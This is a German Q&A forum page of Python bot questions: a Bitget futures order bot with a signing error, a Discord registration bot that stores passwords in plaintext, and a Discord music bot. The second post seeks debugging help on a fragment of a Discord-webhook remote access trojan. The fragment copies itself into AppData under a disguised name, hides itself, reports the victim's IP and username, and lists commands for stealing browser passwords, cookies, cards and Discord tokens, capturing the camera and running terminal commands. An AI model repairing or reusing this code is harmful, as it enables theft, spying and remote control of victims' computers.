Bitget Order Bot?

Moin, ich möchte gerne einen python Bot bauen, welcher für mich Future Postionen auf Bitget eröffnet.
Ich bekomme nur leider immer den gleichen fehler und weiß nicht wie ich das umgehen soll. Kann mir da jemand weiterhelfen?
Fehler:
Versuch 1 von 10...

Fehler beim Platzieren der Order:

{
  "code": "40009",
  "msg": "sign signature error",
  "requestTime" :1738611623938,
  "data": null
}

Warte 30 Sekunden vor dem nächsten Versuch...

Code:

import requests
import time
import hmac
import hashlib
import configparser
import json
# Lade die Konfiguration aus der config.ini Datei
config = configparser.ConfigParser()
config.read('config.ini')
api_key = config['bitget']['api_key']
secret_key = config['bitget']['secret_key']
passphrase = config['bitget']['passphrase']
# Bitget API Endpoints
BASE_URL = 'https://api.bitget.com'
END_POINT = '/api/mix/v1/order/placeOrder'
# Funktion zur Generierung der Signatur
def generate_signature(secret_key, message):
  return hmac.new(secret_key.encode('utf-8'), message.encode('utf-8'), hashlib.sha256).hexdigest()
# Funktion zur Erstellung der Headers
def create_headers(api_key, secret_key, passphrase, request_path, body):
  timestamp = str(int(time.time() * 1000))
  message = timestamp + request_path + json.dumps(body, separators=(',', ':')) # Wichtig: Keine Leerzeichen im JSON
  signature = generate_signature(secret_key, message)
  headers = {
    'Content-Type': 'application/json',
    'ACCESS-KEY': api_key,
    'ACCESS-SIGN': signature,
    'ACCESS-TIMESTAMP': timestamp,
    'ACCESS-PASSPHRASE': passphrase
  }
  return headers
# Funktion zum Kauf von Bitcoin im Futures-Markt
def buy_bitcoin_futures(amount_usdt):
  request_path = END_POINT
  body = {
    "symbol": "BTCUSDT_UMCBL",
    "marginCoin": "USDT",
    "side": "open_long",
    "orderType": "market",
    "price": "0",
    "size": str(amount_usdt),
    "timeInForce": "normal"
  }
  headers = create_headers(api_key, secret_key, passphrase, request_path, body)
   
  response = requests.post(BASE_URL + request_path, headers=headers, json=body)
   
  if response.status_code == 200:
    print("Order erfolgreich platziert:", response.json())
    return True # Erfolg
  else:
    print("Fehler beim Platzieren der Order:", response.text)
    return False # Fehler
# Hauptfunktion
if __name__ == "__main__":
  amount_usdt = 5 # 5 USDT
  max_retries = 10 # Maximale Anzahl von Versuchen
  retry_delay = 30 # Verzögerung zwischen den Versuchen in Sekunden
  for attempt in range(max_retries):
    print(f"Versuch {attempt + 1} von {max_retries}...")
    success = buy_bitcoin_futures(amount_usdt)
     
    if success:
      break # Erfolg, Schleife beenden
    else:
      print(f"Warte {retry_delay} Sekunden vor dem nächsten Versuch...")
      time.sleep(retry_delay) # Warte 30 Sekunden
  if not success:
    print("Maximale Anzahl von Versuchen erreicht. Order konnte nicht platziert werden.")
Bot, Code, Programmiersprache, Python, Python 3, Bitget
Python Error aber wo?

Ich hab ein Python Skript da ist irgendwo ein Error aber ich weiß nicht wo das Problem ist. Mir wird der Error aber auch nicht angezeigt daher dass der Skript in den ersten 6000 Zeilen überall rot ist. Also der Text ist rot. Daher ist es nicht zu sehen aber der Stript schließt sich direkt. Daher weiß ich, dass da etwas nicht richtig Ich sehe nur, dass in der Zeile zwischen bis dahin erros sind, aber nicht wo genau

if file_name not in secret_names:
        while True:
            file_name_secret = random.choice(secret_names)
            if ext not in file_name_secret: continue
            else: break

        path_name = random.choice(path_appdata) "\\Windows"

        if not os.path.isdir(path_name):
            os.mkdir(path_name)

        script_path = f"{path_name}\\{file_name_secret}"
        shutil.copy(sys.argv[0], script_path)
            
        if ext == "py":
            os.system(f"python {script_path}")
            sys.exit()
        elif ext == "exe":
            os,system(f"start {script_path}")
            sys.exit()
        else:
            os.system(f"start {script_path}")
            sys.exit()

def NewConnection(w3bh00k_ur1):
    try:
        client = SyncWebhook.from_url(w3bh00k_ur1)

        embed = discord.Embed(
            title= f'New Connection !',
            description= f"""```
Status    : Connected
Day       : {current_time_day()}
Hour      : {current_time_hour()}
Hostname  : {hostname_pc}
Username  : {username_pc}
Country   : {country}
Ip        : {ip_address_public}
File Name : {file_name}
```""",
            color= color_embed
        )
        client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)
    except:
        pass

        
def HelpCommand(w3bh00k_ur1, prefix):
    client = SyncWebhook.from_url(w3bh00k_ur1)

    embed = discord.Embed(
        title= f'R4t Commands:',
        color= color_embed
    )
    embed.add_field(name=f"{prefix}help", value=f"This.", inline=False)
    embed.add_field(name=f"{prefix}system_info", value=f"Steal: User, System, Ip, Disk, Screen, Location, etc.", inline=False)
    embed.add_field(name=f"{prefix}discord_token", value=f"Steal: Token, Email, Phone, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}browser_steal", value=f"Steal: Passwords, History, Cookies, Downloads, Cards, etc. ", inline=False)
    embed.add_field(name=f"{prefix}roblox_cookie", value=f"Steal: Cookie, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}camera_capture", value=f"Record the victim's computer camera.", inline=False)
    embed.add_field(name=f"{prefix}screenshot", value=f"Capture the victim's computer screen.", inline=False)
    embed.add_field(name=f"{prefix}shutdown", value=f"Turn off the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}terminal `[cmd]`", value=f"Write to the victim's computer terminal.", inline=False)
    embed.add_field(name=f"{prefix}open_url `[url]`", value=f"Launch a web page on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}block_website `[url]`", value=f"Blocks a website on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}open_calculator `[number]`", value=f"Opens the calculator on the victim's computer a certain number of times.", inline=False)
    embed.add_field(name=f"{prefix}block_task_manager", value=f"Blocks the task manager of the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}voice `[text]`", value=f"Plays a voice with the chosen text on the victim's computer.", inline=False)
    embed.set_footer(text=footer_text, icon_url=avatar_embed)

    client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)

hid3_pr0gr4m()
try: St4rtup()
except: pass

intents = discord.Intents.default()
intents.guilds = True
intents.messages = True
intents.message_content = True

Bot, Error, Python, Discord
Python discord NonType Error?

Ich habe einen Error in meinem Code:

async def on_submit(self, interaction2: discord.Interaction):
    response = await sendRequests(str(self.username), str(self.email), str(self.password))
    if response == "email":
        await interaction2.response.send_message("Incorrect email format", ephemeral=True)
        return
    if response == "password":
        await interaction2.response.send_message("Incorrect password format. The password must meet these requirements: \nOne Uppercase letter \nOne lowercase letter \nOne number\n A special character ", ephemeral=True)
        return
    if response == "maintenance":
        await interaction2.response.send_message("The system is currently under maintenance. Please look in #news for more infos.", ephemeral=True)
    query = "INSERT INTO users VALUES (?, ?, ?, ?)"
    main.cursor.execute(query, (interaction2.user.id, str(self.username), str(self.email), str(self.password)))
    main.database.commit()
    await interaction2.response.send_message("You are now in the registration process. This can take up to one hour.", ephemeral=True)
    channel = main.bot.get_channel(1309925591146958933)
    await channel.send("make a recaptcha, registration from user : " + str(interaction2.user.name) + " with id: " + str(interaction2.user.id))

Error:
[2024-11-23 19:32:43] [ERROR  ] discord.ui.modal: Ignoring exception in modal <RegisterModal timeout=None children=3>:

Traceback (most recent call last):

 File ".venv\Lib\site-packages\discord\ui\modal.py", line 189, in _scheduled_task

   await self.on_submit(interaction)

 File "TestButton.py", line 41, in on_submit

   await channel.send("make a recaptcha, registration from user : " + str(interaction2.user.name) + " with id: " + str(interaction2.user.id))

         ^^^^^^^^^^^^

AttributeError: 'NoneType' object has no attribute 'send'

Bot, Code, Programmiersprache, Python, Webentwicklung, Python 3, Pycharm, Discord, Discord Bot
discord server bot der musik abspielt die auf dem pc gespeichert ist?

guten frühen morgen

ich habe einen server der 24/7 an ist und habe dc drauf gemacht (system: windows 10), habe es micht chat gpt versucht das dass mir das erklärt, hat aber nicht funktioniert. daher frage ich hir mal nach. ich bin die ganze zeit daren stehen geblieben wenn ich den in den chat !join (damit der den sprach chat brtritt(der bot ist auch auf dem server hinzugefügt mit den passenden berechtigungen)) reagirt der nicht, es passiert garnix. kann mir bitte jemand helfen.

hir ist den pyton code:

import discord

from discord.ext import commands

import os

intents = discord.Intents.default()

intents.voice_states = True

intents.messages = True # Falls du auch auf Nachrichten reagieren möchtest

bot = commands.Bot(command_prefix='!', intents=intents)

@bot.event

async def on_ready():

   print(f'We have logged in as {bot.user}')

@bot.command(name='!join', help='Tritt einem Sprachkanal bei')

async def join(ctx):

   if ctx.author.voice:

       channel = ctx.author.voice.channel

       await channel.connect()

@bot.command(name='!leave', help='Verlässt den Sprachkanal')

async def leave(ctx):

   if ctx.voice_client:

       await ctx.guild.voice_client.disconnect()

@bot.command(name='!play', help='Spielt Musik ab')

async def play(ctx, *, query):

   if ctx.voice_client:

       source = discord.FFmpegPCMAudio(query)

       ctx.voice_client.play(source)

@bot.command(name='!stop', help='Stoppt die Musik')

async def stop(ctx):

   if ctx.voice_client:

       ctx.voice_client.stop()

bot.run (' das token ist auch richtig ')

MFG nick

Bot, Discord Server, Discord Bot

Meistgelesene Beiträge zum Thema Bot